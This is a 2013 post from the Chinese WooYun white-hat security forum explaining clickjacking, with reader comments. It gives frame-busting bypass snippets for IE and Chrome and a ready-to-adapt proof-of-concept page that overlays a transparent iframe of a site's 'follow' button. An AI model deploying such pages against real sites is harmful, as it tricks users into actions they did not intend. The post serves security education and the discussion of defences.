当前位置:WooYun(白帽子技术社区) >> 我们都是猥琐流 >> 猥琐流之"关注我吧"

猥琐流之"关注我吧"

Sogili (.) 长短短 (.) | 2013-01-18 11:56

主要说一下问世多年却一直没被重视的"点击劫持".

应用场景:
1.社区的关注功能,在WEB2.0时代"关注我"已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.

点击劫持科普:
简单来说就是在一个网页内再嵌入一个要攻击的网站,把这个嵌入的网站设置为透明,然后再上面覆盖一层东西,让你点到他想要你点到的位置,而实际上你点击的却是被嵌入的网站,这样就完成了一次点击劫持攻击.

防嵌入?怎么破?
因为"点击劫持"已经问世很多年,所以主流的浏览器基本上都提供的防御方案.
1.X-Frame-Options http响应头
三个选项:
(1)DENY : 不允许被任何网站嵌入.
(2)SAMEORIGIN : 允许被同源的网站嵌入.
(3)ALLOW-FROM uri : uri为一个指定的地址,仅允许这个uri嵌入.
对于用这个办法防御的网站来说没有什么好办法,但ie低版本并不支持.

2.FrameBusting
简单来说就是用JS来检测是否被嵌入.
经典的framebuting代码:
if (top.location !== self.location) top.location=self.location;
对于这种framebuting还是可以hacking下的:
1.IE下的突破方法:
if(self.ActiveXObject)var location={};
2.Chrome下的突破方法,不过偶尔会失效,因为是利用时间竞争来突破的:
if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome
乌云正好是用的这种经典framebusting,所以这里用乌云做个范例.

乌云"关注我"功能的POC:
<script>
var xx=200;
var yy=200;
window.onload=function (e){
  var iframe = document.getElementById('xxx');
  var e = e||window.event;
  
  var x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;
  var y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop;

  iframe.style.left=a.offsetLeft-xx;
  iframe.style.top=a.offsetTop-yy;
}

</script>
<script>
if(self.ActiveXObject)var location={};//IE
if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome
</script>
<iframe style="position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;" id=xxx src="http://www.wooyun.org/whitehats/Sogili" WIDTH=60% height=500></iframe>
<br><br></br><br></br><br></br><center><button id=a>点击</button></center>

自己用的话调下iframe的地址,宽高和xx,yy这个两个变量的值就好.

分享到:
  1. 1#
    回复此人 感谢
    shine (shield) | 2013-01-18 11:59

    哥已关注!

  2. 2#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-18 12:29

    微博出过哦

  3. 3#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-01-18 12:38

    @xsser 乌云首页用的那个新浪微博关注接口接口好像可以做点击劫持

  4. 4#
    回复此人 感谢
    Clar | 2013-01-18 13:05

    已关注

  5. 5#
    回复此人 感谢
    小胖胖要减肥 | 2013-01-18 13:08

    @Sogili 怎么搞,代码都没机会插入的啊,而且现在大家对于<>基本都会过滤

  6. 6#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-18 14:01

    @小胖胖要减肥 没说要插,仔细读文章

  7. 7#
    回复此人 感谢
    小胖胖要减肥 | 2013-01-18 14:16

    @xsser 对那个怎么嵌入不是很懂,以前知道这种就是设置透明的一些form,导致用户点击的时候出发这些操作,就是不知道是怎么嵌入的,自己用的话调下iframe的地址这个调用的怎么弄,不插入的话

  8. 8#
    回复此人 感谢
    小胖胖要减肥 | 2013-01-18 15:45

    @Sogili  给我普及下嘛

  9. 9#
    回复此人 感谢
    VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-01-18 16:10

    实际应用时应该把opacity调为0,exp:http://email.smtp.yupage.com/funny.htm

  10. 10#
    回复此人 感谢
    小胖胖要减肥 | 2013-01-18 16:22

    @Sogili @xsser 大致懂了,没有搞在flash游戏里有用哈,那样交互多很多

  11. 11#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2013-01-18 22:04

    哎,天朝和美帝 相差了n个时代啊!! x系列的头都不知道啥时候可以部署上!

  12. 12#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-01-18 22:22

    @猪猪侠 让攻击变的简单是个推动的办法 :D

  13. 13#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2013-01-18 23:43

    我觉得很难推,比较传统的漏洞还太多,很多跨子域、httponly啥的 都没有迹象部署解决

  14. 14#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-01-18 23:48

    @猪猪侠 其实网站安全检测服务完全可以把x系列头和httponly之类的作为检测项来提醒站长.

  15. 15#
    回复此人 感谢
    gniq | 2013-02-19 10:35

    @小胖胖要减肥 我还不是很懂,既然是嵌入,那肯定要能修改当前网页并能被他人点击才行啊

  16. 16#
    回复此人 感谢
    CHForce (带马师) | 2013-02-19 10:52

    关注一下,同样不解的是插入

  17. 17#
    回复此人 感谢
    小胖胖要减肥 | 2013-02-19 11:01

    @gniq 最简单的 我搞个网页给你看,上面有一条新闻,你点击,弹出新闻页面,但这个时候其实后面隐藏了另外一个按钮,比如关注wooyun,透明了而已,那么你在点击新闻的同时也就执行了另外一个操作,如果你的浏览器恰好有cookies就会直接提交到新浪关注wooyun了,大致这么个意思,如果搞flash游戏里就会有更多前后交互,再利用cookies相关跨域漏洞就会有不错的效果

  18. 18#
    回复此人 感谢
    gniq | 2013-02-19 11:40

    @小胖胖要减肥 等于说这个人是要具备修改这个网页的能力,对吧

  19. 19#
    回复此人 感谢
    CHForce (带马师) | 2013-02-19 15:26

    @小胖胖要减肥 意思是除非你具有网页编辑权力,至少能通过后台、通过服务器、通过xss等手段 才能实现

  20. 20#
    回复此人 感谢
    小胖胖要减肥 | 2013-02-19 15:35

    @CHForce 不是啊 你自己搞个网站不就好了 然后把iframe弄成透明的或弄在flash游戏里

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录